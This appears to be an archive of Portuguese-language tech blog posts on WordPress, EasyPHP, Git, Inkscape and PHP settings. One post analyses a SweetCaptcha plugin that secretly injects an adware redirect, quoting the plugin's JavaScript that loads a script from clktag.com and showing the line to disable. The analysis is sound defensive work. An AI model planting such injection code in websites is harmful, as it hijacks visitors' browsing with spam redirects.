mar 312018
 

Eita errinho chato!
Funciona mais ou menos assim: seu provedor altera o servidor de banco de dados, tu, via FileZilla, atualiza o wp-config.php da sua distribuição WordPress, faz o upload, e pronto, tá aí a zica!
Tu olhas, revê, verifica…nada, absolutamente nada fora do lugar no wp_config….

A anamnese:

Servidor linux, atualizado via FileZilla, com arquivos atualizados pelo Notepad++, rodando sobre Windows 10.

Se tentares abrir direto do servidor (sem download), o arquivo aparece assim: Continue reading »

mar 312018
 

Pois bem, uma excelente ideia mal executada.

O sweetcaptcha, que possibilitava um arrastar e soltar ao invés daquelas letras medonhas, passou por várias fases…ótima, mais ou menos, ruim (quando passou a redirecionar a navegação das páginas wordpress que o utilizavam), até seu fim… Continue reading »

nov 072015
 

Num dos sites mantidos pela Academia, ao se clicar um qualquer ponto da tela, seja em área sem link, seja em determinado posto, enfim, de forma absurdamente aleatória, é aberta nova página totalmente estranha à aplicação original.

Dentre as listadas:

http://lp.musicboxnewtab.com/?sysid=539&appid=118&subid=80817651661

O problema maior é que tal redirecionamento se dá também de forma aleatória, ou seja, as vezes ocorre, às vezes não. Aliás, ocorre esporadicamente. Navega-se pelo site, logo de início ou depois de muito tempo, lá está o redirecionamento. Por vezes, em muitas sessões, nem ocorre.

Tal aleatoriedade, de local clicado ou de momento de ocorrência dificulta muito encontrar a brecha.

Assim, vamos à longa análise:

Pelo descrito passamos a monitorar o evento “click”, até que disparasse o redirecionamento, chegamos então ao primeiro suspeito:

wp

Trata-se do script vindo do site clktag.com que, por sua vez, chama o servidor cdn1.srv.revdepo.com, trazendo aquele .js descrito na imagem. Arquivo bem grande para os padrões js e inteiro criptografado, o que faz a suspeita aumentar, dado que no wordpress os códigos são abertos.

Para completar: esse “revdepo.com” é um conhecido redirecionador para propagandas variadas (spam).

O segundo passo é encontrar onde este raio de clktag está sendo chamado.

Depois de algumas horas fuçando nos arquivos do wordpress, monitorando carregamentos, e outros procedimentos, encontramos o responsável:

wp2

O plugin SweetCaptcha faz dois carregamentos, o primeiro ok, é o do aplicativo mesmo.

Já o segundo, destacado na imagem, traz a inclusão do “clktag” no DOM (4ª linha):

1
2
3
4
5
window.sweetcaptchaCSRF = 'eb02ed2cd9350cc7a588d6a375a339b0'; var mobile = typeof(window.orientation) != 'undefined' || navigator.userAgent.match(/iphone|ipod|blackberry|android|palm|windowss+ce|mobile|msie 8|msie 7|msie 6/i) || (navigator.userAgent.indexOf('Safari') > -1 && navigator.userAgent.indexOf("Chrome") == -1 && navigator.userAgent.indexOf('Windows') > -1);if (1 || typeof(sc_jQuery) === 'undefined') {
window.sweetcaptchaPluginVersion = "3.1.0";
document.write('<scr'+'ipt type="text/javascript" src="//www.sweetcaptcha.com/javascripts/sclytics.js">');
document.write('<scr'+'ipt type="text/javascript" src="//clktag.com/adServe/banners?tid=SWTMPOP&tagid=2" async="async">');
document.write('<img style="position: absolute;" src="//www.sweetcaptcha.com/api/v2/apps/csrfp/11323?t=1446929464093&amp;mobile='+(mobile ? '1' : '0')+'" alt="" width="1" height="1" />');};

Testamos a descoberta, desativando o pugin.

Problema sanado, sem mais redirecionamentos indevidos e sem mais problemas, somente fontes confiáveis e normais foram carregadas:

wp3

Testes por mais algumas horas, sem redirecionamentos.

Agora chegamos a duas possíveis conclusões:

1-O plugin SweetCaptcha tem alguma vulnerabilidade;

2-O redirecionamento aleatório faz parte do plugin.

Pois bem, o SweetCapctha, usado em alguns milhões de sites, incluídos wordpress, oferece uma maneira mais criativa e elegante de burlar o spam, provendo um captcha intuitivo e bem humorado, como no exemplo:

wp4

Assim, buscamos no site do desenvolvedor: www.sweetcaptcha.com

Leia o site e verá que promete afastar spammers, injeção de códigos maliciosos e todos os males que realmente buscamos evitar quando colocamos um captcha. Oferece o aplicativo gratuitamente e pede doação (qua a academia doou, diga-se de passagem) por achar a ideia excelente e o serviço ótimo.

wp5

Contactamos o suporte, explicando a situação, e nos foi respondido que o plugin não tem anúncios e não faz redirecionamentos.

Então é uma falha, correto?

Errado. Infelizmente errado. A equipe deste plugin usa de uma desonestidade brutal. E ao que tudo indica o trambique vem desde julho deste ano.

Um desabafo: Cobrem pelo serviço se for necessário, mas nunca, nunca traiam a confiança do usuário distribuindo spam e, para piorar, peçam doação para manter a bagaça gratuita. Ridícula a postura. Se fosse um serviço nacional juro que entraríamos na justiça para reaver a doação.

A solução: exterminar este maldito plugin. Uma excelente ideia, lançada à lama por algum imbecil.

Para finalizar: o script vem direto dos servidores do sweetcaptcha, assim não há como negar a intenção nefasta: foram avisados, basta atualizar o script que traz o spam. Não o fizeram, comprova a má intenção.

Mais detalhes no blog de segurança Sucuri:

https://blog.sucuri.net/portugues/2015/06/09/sweetcaptcha-utilizado-para-distribuir-adware.html

Por fim, o mais estranho: a safadeza não ocorre em todos os sites. Usamos aqui na academia e nenhum spam ou redirecionamento foi feito pelo plugin, seria em razão da doação? se for, não seria melhor cobrar logo?

Aqui vamos manter até para avaliar até quando vai.

É isso.

 

ATUALIZAÇÃO:

Caso queira continuar usando o aplicativo, como alguns clientes preferiram, comente a seguinte linha do código do plugin (arquivo sweetcaptcha.php):

1
wp_enqueue_script('sweetcaptcha-csrf', 'https://'.SWEETCAPTCHA_SITE_URL.'/api/v2/apps/csrf/'.$app_id, array(), $ver, true);

Com isto, não teremos mais spam, ao menos até a próxima versão do plugin (estamos a usar a 3.1.0).

 

set 302014
 

search

O EasyPHP sempre foi, e penso que continua sendo, o mais simples dos WAMP para testes e desenvolvimento de aplicações web com PHP.

Porém, de algumas versões para cá (escrevo tratando da versão 14.1), quando instalado sobre o Windows7 32 bits, a bagaça enrosca e não incia o Apache pela falta da DLL MSVCR110.dll.

ScreenHunter_30 Sep. 30 18.45

Pois bem, o aviso: CUIDADO AO BAIXAR DLL DE SITES ESTRANHOS.

Uma biblioteca DDL bem construída e mal intencionada pode dar acesso irrestrito à sua máquina.

A maldita que falta faz parte do pacote:

Visual C++ Redistributable for Visual Studio 2012 Update 4, da Microsoft.

Assim, para corrigir o problema com segurança, baixe-o diretamente do site da Microsoft pelo link:

http://www.microsoft.com/en-us/download/details.aspx?id=30679%20#

Seguindo os passos:

Escolha o idioma (não tem português, ao menos até o momento que baixei.):

ScreenHunter_31 Sep. 30 18.53

Escolha seu sistema operacional (x86 para 32 bits – nosso caso, x64 para 64bits ou arm para outros dispositivos, como Windows Phone):

ScreenHunter_32 Sep. 30 18.53

Instale o trem:

ScreenHunter_33 Sep. 30 18.59

ScreenHunter_34 Sep. 30 18.59ScreenHunter_35 Sep. 30 19.01

 

 

 

 

 

 

 

 

 

 

 

Leva bem uns 5 minutos.

Pronto, EasyPHP funcionando.
ScreenHunter_36 Sep. 30 19.03

É isso.

ADENDO: Como bem colocou nos comentários o colega Artur, mesmo se usares a versão 64bits precisará instalar a X86 para que funcione corretamente. Valeu pela dica!

set 302014
 

logo@2x

Git é um cliente para controlador de versão (existem outros, como SVN – Subversion por exemplo).

A melhor explicação para inciantes pode ser vista no canal da Loiane Gronner:

É possível trabalhar localmente com o Git, ou seja, instalar um servidor local em sua máquina ou em sua rede. Aqui na Academia o Git é usado para controlar os projetos open source da academia que estão disponíveis no GitHub.

Então, usamos o Git em conjunto com o repositório GitHub que, grosso modo, é uma rede social para desenvolvedores. Para usar o Git e o GitHub, pode ser por linha de comando ou por interface gráfica. Usamos, na segunda opção, o GitHub for Windows.

search

Para aprender um pouco sobre GitHub:

Por fim, a dica:

Crie e compartilhe seus projetos no GitHub, além de organizar sua produção, ajudará e terá ajuda da comunidade. Para ti, certamente ter alguns bons códigos no GitHub serve como um excelente cartão de visitas!

É isso.

 

nov 172013
 

Tutorial de como criar a arte para o canal do Youtube com o programa fratuito e open-source Inkscape, um excelente programa para desenho vetorial.

Ao final do post, o link para o arquivo base e para download do inkscape.

Parte1/3:

Parte 2/3:

Parte 3 de 3:

 

 

Downloads:

Base para a arte (arquivo .svg);

Programa Inkscape

Orientações do Youtube para arte do canal.

jun 102012
 

Quando em ambiente Windows, nada mais simples que o Easy PHP para desenvolvimento. Simples, funcional e direto.

Porém a instalação padrão, de tão simplista e prática, deixa de lado algumas configurações importantes.

Dentre elas a questão da data, mais especificamente o fuso horário.

Ao usar, no PHP a função time(), que retorna um inteiro que representa o TIMESTAMP UNIX, quando incorretamente configurado o fuso, acaba dando problema.

Como exemplo, ao interpretar o TIMESTAMP este acaba cvomo sendo três horas após. Isso se deve so fuso horário padrão – e incorreto para nós – na configuração do apache.

Vamos à correção:

Botão direito no ícone do Esay PHP:

Em seguida em ‘Administration’, ‘Apache’:

No arquivo de texto que vai abrir, busque por PHP Timezone, encontrarás a configuração padrão:

Altere a configuração “Europe/Paris” para “America/Sao_Paulo":

Pronto, problema resolvido.

Entendendo o que acontece:

O TIMESTAMP Unix retorna o número de segundos decorridos desde as 00:00h de 1 de janeiro de 1970.

Porém, tal retorno reflete a data e hora no meridiano de Greenwich, ou seja, do “meio do mundo”. Cada país no entorno tem seu fuso horário, o nosso (em São Paulo) é GMT -3, ou seja, horário de Greenwich -3 horas.

Cabe ainda apontar que no brasil temos três fusos horários GMT -4, -3 e -2, conforme a região, com ou sem horário de verão.

Veja os mapas:

Sem Horário de Verão/Com horário de Verão:

Clique para ampliar

Clique para ampliar

Segue a configuração dos principais fusos:

'Kwajalein' => -12.00,
'Pacific/Midway' => -11.00,
'Pacific/Honolulu' => -10.00,
'America/Anchorage' => -9.00,
'America/Los_Angeles' => -8.00,
'America/Denver' => -7.00,
'America/Tegucigalpa' => -6.00,
'America/New_York' => -5.00,
'America/Caracas' => -4.30,
'America/Halifax' => -4.00,
'America/St_Johns' => -3.30,
'America/Argentina/Buenos_Aires' => -3.00,
'America/Sao_Paulo' => -3.00,
'Atlantic/South_Georgia' => -2.00,
'Atlantic/Azores' => -1.00,
'Europe/Dublin' => 0,
'Europe/Belgrade' => 1.00,
'Europe/Minsk' => 2.00,
'Asia/Kuwait' => 3.00,
'Asia/Tehran' => 3.30,
'Asia/Muscat' => 4.00,
'Asia/Yekaterinburg' => 5.00,
'Asia/Kolkata' => 5.30,
'Asia/Katmandu' => 5.45,
'Asia/Dhaka' => 6.00,
'Asia/Rangoon' => 6.30,
'Asia/Krasnoyarsk' => 7.00,
'Asia/Brunei' => 8.00,
'Asia/Seoul' => 9.00,
'Australia/Darwin' => 9.30,
'Australia/Canberra' => 10.00,
'Asia/Magadan' => 11.00,
'Pacific/Fiji' => 12.00,
'Pacific/Tongatapu' => 13.00

nov 062011
 

Entendendo o caso:

Para nossos clientes, sempre que precisam de um blog ou site mais simples utilizamos o Worpress pela sua praticidade, facilidade de uso, persdonalização quase infinita, tempo mínimo de instalação, enfim, vantagens inúmeras para estas aplicações.

Porém um de nossos clientes perdeu/esqueceu o login e senha de administrador.

OK, caso corriqueiro. Porém nem tanto. Era o único usuário e o e-mail que ele tinha cadastrado não possui mais. Também não havia nenhum outro usuário e ou administrador cadastrado, assim, os meios que o próprio wordpress fornece para recuperar a senha não seriam válidos, como resolver a situação?

A pesquisa na internet pouco revelou, pois muitaspáginas tratam dos meios convecionais de recuperação, que no nosso caso não seria viável. Reinstalar também não, mais de mil postagens e outros milhares de comentários não poderiam ser perdidos.

Análises e testes feitos, solução encontrada:

Simples solução:

1-No arquivo “wp-config.php” verificamos a localização da base de dados e a senha de usuário do banco;

2-Na tabela “wp-users” exportamos os dados existentes (havia três usuários cadastrados) para garantir caso o teste desse errado, recomendamos que o faça;

3-Em seguida entre na tela de edição de um registro, do usuário que deseja alterar a senha, na função do banco de dados, na linha da senha, selecione MD5, altere a senha e pronto.

Basta o usuário acessar com a nova senha cadastrada, o próprio WordPress solicitará a mudança de senha por entender esta gerada automaticamente.

Caso resolvido.

 

Complemento adicionado em 09/05/2015:

Prezados:

O procedimento envolve acesso ao banco de dados do WordPress, funciona somente em domínios próprios, com alteração direta na base de dados. Assim, é um procedimento que exige algum conhecimento técnico em bancos de dados, mais especificamente MySQL.

Reforçando: Não se trata de procedimento nativo do WordPress, é o reinicio de senha à força.

jun 082011
 

No conjunto PHP + Apache, mais especificamente no PHP, o limite de upload padrão é de 2Mb, o que atende a maioria dos usuários.

Porém algumas aplicações podem exigir uploads maiores, assim, há que se alterar o arquivo php.ini, nos seguintes pontos (e provavelmente eles não estarão juntos no seu php.ini):

file_uploads = On
upload_tmp_dir = e:\temp\php\
upload_max_filesize = 25M
post_max_size = 25M
max_input_time = 0
memory_limit=50M

A alteração proposta aumenta para 25Mb o limite de upload.